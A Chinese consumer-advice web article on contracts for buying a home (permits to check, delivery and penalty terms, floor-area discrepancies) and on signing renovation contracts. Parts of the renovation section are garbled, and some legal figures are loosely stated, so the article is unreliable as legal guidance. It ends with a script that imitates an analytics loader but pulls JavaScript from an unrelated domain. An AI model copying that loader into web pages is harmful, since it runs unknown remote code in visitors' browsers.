买房子有什么合同？买房子签合同要注意什么

对于我们中国人来说，买房子是我们人生中的大事，而且如今我国房价高的离谱，买一套房子就相当于要把自己多年的积蓄一次花光。那么我们在买房时就必须要慎重，选择合法的房地产，找对正规的中介公司，才能保证我们财产不受损失。当然我们在购买房子时最主要的就是合同问题。那么买房子有什么合同?买房子签合同要注意什么?买房子有什么合同?购房合同一般包括商品房预售契约(期房)和商品房买卖契约(现房)两种。二者区别在于：预售合同在商品房预售时采用，房屋竣工交付使用，买受方付清全部房价款后，可直接办理过户手续。商品房出售合同适用于商品房现居(竣工验收合格取得房地产权证的商品房)销售。因此，如果是现在签的预售合同，交房时不再签出售合同，可以直接办理过户手续。买房子签合同注意事项1、要核实开发商的土地证、建设用地规划许可证、建筑工程规划许可证、建筑工程施工许可证、销售许可证这五证，最主要的是看国有土地使用证和商品房预售许可证，这两证看准确了，一般原则上没有问题，特别是预售许可证。特别要提醒的是，购房者在查看五证的时候一定要看原件，复印件很容易作弊。这也是你将来能否办产权证的关键所在。2、房屋买卖合同文本一定要规范，小伙伴们可以到房产局网站上下载打印就可以，自己先审视阅读一遍，待签订合同时要在仔细阅读并认真填写!3、出卖人逾期交房的违约责任，注意延期交房是否有赔偿，就是说一定要确认交房日期，交房日期一定要明确到年月日，不要接受任何抠字眼的不合理条款，若合同中未约定违约金条款时，依法律规定由违约方支付对方合同总价的1%至5%的违约金，特别要注意延期交房违约金的比例问题。4、看清计价方式与总价款及支付条款，合同中应明确规定每平方米价格，如果包括其他费用(如水暖、煤气的初装费等)应一并列明;该房款是一次付清还是分期付款?是现金支付还是票据支付等。5、面积确认以及面积差异处理，商品房销售管理方法中明确说明了，如购买的商品房有面积差异，合同上有约定的按照约定执行。3%是个分水岭，面积误差比绝对值在3%以内(含3%)的，据实结算房价款，面积误差比绝对值超出3%时，买受人有权退房，要么同开发商协商!所以只有在合同中对面积差异有了详尽的说明后，才能避免出现此类问题。6、一定要注意合同条款中双方所填写的内容中权利与义务是否对等，及时提出自己的修改意见，主要研究的地方是开放商的合同的补充这一部分，注意不要伤害自己的利益或者放弃自己的相关的权利，签约是非常严肃的事情，也是一个法律行为，因此签约前的了解十分重要!我们在购买房产时为了保证我们的金钱不会打水漂的最主要方式就是合同一定要了解清楚再签字。如今房子有期房、现房、二手房等多种形式存在。那么我们在购买房产时合同有哪些?又有什么区别呢?小编在上文中也做了简单的介绍，大家可做简单了解。另外小编还总结了一些关于买房子签合同时的一些注意事项，大家可做了解，以防万一。

怎么签装修合同 房屋装修合同注意事项

社会的进步人们思想的改变，是的合同的签订不在时无中生有，不好意思的事情了，和同能保护着大家的权益，所以在买房也好装修也罢都是要签合同的，但是您别说有的人签合同真的是第一次，真是不知道这个合同该怎样的签订。怎么签装修合同?1、怎么签装修合同-但然双方即业主和承包商各自的信息是必须要写进去的，和装饰的简要概述，这两房分别是甲方和乙方，要说明承包的方式是怎样，怎样的进行付款，要装修成什么样子等。2、怎么签装修合同-以下是装饰材料部分的详细介绍。详细概述了业主也就是甲方必须提供的材料，是乙方购买还是甲方购买，甲方购买乙方是需要提供给甲方所需要的材料的清单，并且甲方需提供地方材料的一些问题等。3、怎么签装修合同-工程质量验收规范根据:有装修图纸必须的标准，质量要求，对材料质量的影响，有关责任事故，等等。甲方必须承认完工日期，并承担乙方部分的监测费用和相关费用。4、怎么签装修合同-安装施工协议;5、项目价格和结算协议。6、其他惯例，或一些互补条件。7、违反合同责任，以及违约金等。8、解决争端:当有在合同执行过程中，双方之间的争端的方法，双方可以通过的前提下不影响工程进度，谈判或解决建筑事务监督的调解或建筑住宅所在的消费者协会。9、合同内容双方都同样就都要进行签字确定。​怎么签装修合同之房屋装修合同注意事项?合同中的担保条款是必不可少的，必须澄清责任。如果是建筑或材料的质量问题，如果是全包的话装修公司是要承担一切责任的;如果用户使用不当，双方在进行商量看怎么办。这些是要注意写在合同里的。在选择公司的时候最好是选择维修期比较长的公司，因为一般的装修公司的保修期为三个月至一年不等。现如今人们在房屋装修过程中,对房屋装修合同时看重的,因为在现在的法制社会，大家都有了自我保护的意识，其实这对双方都是很不错的，施工方不会担心拿不到钱，业主也可以保证自己不受骗。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();